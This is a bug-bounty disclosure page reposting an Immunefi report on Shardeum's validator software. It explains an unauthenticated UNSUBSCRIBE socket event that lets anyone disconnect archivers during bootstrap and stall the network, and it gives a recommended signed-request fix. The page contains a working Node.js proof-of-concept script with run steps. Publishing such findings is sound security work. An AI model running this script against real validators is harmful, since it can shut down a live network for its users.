Skip to content
Access control Audit finding Intermediate

Preventing the network from loading by disconne

The validator's socket server accepts an UNSUBSCRIBE event from any client and disconnects the specified archiver without authentication. An attacker could disconnect all archivers during network bootstrap, preventing validators from joining and causing a total network shutdown.

infosec_us_team Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

33044 - [BC - Medium] Preventing the network from loading by disconne...

Submitted on Jul 10th 2024 at 09:05:58 UTC by @infosec_us_team for Boost | Shardeum: Core

Report ID: #33044

Report type: Blockchain/DLT

Report severity: Medium

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

Description

Vulnerability Details

The socket connection in a Validator listens to an UNSUBSCRIBE event and expects the ARCHIVER_PUBLIC_KEY of an Archiver Server that wishes to unsubscribe.

socket.on('UNSUBSCRIBE', function(ARCHIVER_PUBLIC_KEY) {
    console.log(`Archive server has with public key ${ARCHIVER_PUBLIC_KEY} request to unsubscribe`)
    Archivers.removeArchiverConnection(ARCHIVER_PUBLIC_KEY)
})

The "removeArchiverConnection(...)" function disconnects the socket connection with the Archiver Server.

Code snippet from: https://github.com/shardeum/shardus-core/blob/dev/src/shardus/index.ts#L491-L494

Unfortunately, anyone can connect to the socket of a Validator and request the disconnection of any or all the currently connected Archive Servers.

In our tests, reproducing the attack while the first Validator is in the Syncing phase, prevents all other Validators from joining the network later, and after up to ~15 minutes of re-attempting, they all shut down themselves.

Recommended fix

The UNSUBSCRIBE request must require a stringified object with the following fields:

1- The ARCHIVER_PUBLIC_KEY to disconnect

2- The signature of a message containing the IP address requesting the disconnection of the Archive Server.

3- A timestamp and nonce for the signature, to prevent replay attacks.

If a message containing the IP address that is requesting the disconnection is signed with the private key of the Archive Server, we can verify that this is an authorized request.

Impact Details

A malicious agent can prevent the network from bootstrapping, which leads to the network not being able to confirm new transactions (total network shutdown).

We haven't played around yet with disconnecting Archive Servers from Validators after the network is fully operational, but it could be a good experiment to see what goes wrong.

Proof of Concept

As a proof of concept, we created a Node JS project, that connects to the socket of a Validator and requests to unsubscribe the Archive Server.

In the code below you must replace the IP address and PORT of the socket connection with yours (or let it the same if it applies to your setup as well). Finally, we hardcoded the public key of the Archive Server we want to disconnect but you can adapt the test to your needs.

// client.js
const io = require('socket.io-client');
const socket = io('http://192.168.0.15:9001');


socket.on('connect', () => {
	console.log('Connected to server');
	setInterval(() => {
		console.log('Sending message');
		socket.emit('UNSUBSCRIBE', '758b1c119412298802cd28dbfa394cdfeecc4074492d60844cc192d632d84de3');
	}, 1000);
});

socket.on('disconnect', () => {
	console.log('Disconnected from server');
});

socket.on('message', (msg) => {
	console.log('Message from server:', msg);
});

To execute the attack:

Step 1- Create a Node JS project with the code provided above in an index.js file.

Step 2- Start the network with shardus start 20

Step 3- As soon as you do, run the exploit with node index.js inside the Node JS project.

The original report as published on Immunefi, by infosec_us_team. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The UNSUBSCRIBE socket event handler performs no authentication or authorisation before removing an archiver connection.

Impact

A malicious agent could prevent the network from bootstrapping, leading to a total network shutdown; the report notes that disconnecting archivers after the network is fully operational was not tested.

What the attacker needed

Network access to a validator socket; knowledge of an archiver public key

The fix

The UNSUBSCRIBE request should require a signed message containing the archiver public key, the requester's IP address, a timestamp and a nonce, so the validator can verify the request came from the archiver.

How it was found

  1. Create a Node.js project with a socket.io client that connects to a validator's socket.
  2. Start the network with the shardus start command.
  3. Run the client, which repeatedly emits an UNSUBSCRIBE event with an archiver public key.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A validator is a computer that helps run the blockchain network. It talks to archiver servers, which store and share network data. The validator's socket connection accepted a 'disconnect this archiver' message from anyone, with no proof that the sender was allowed to ask. An attacker could therefore cut off the archivers and stop the network from starting up.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by infosec_us_team

View all

31 more disclosed reports, best first.

More from Shardeum: Core

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.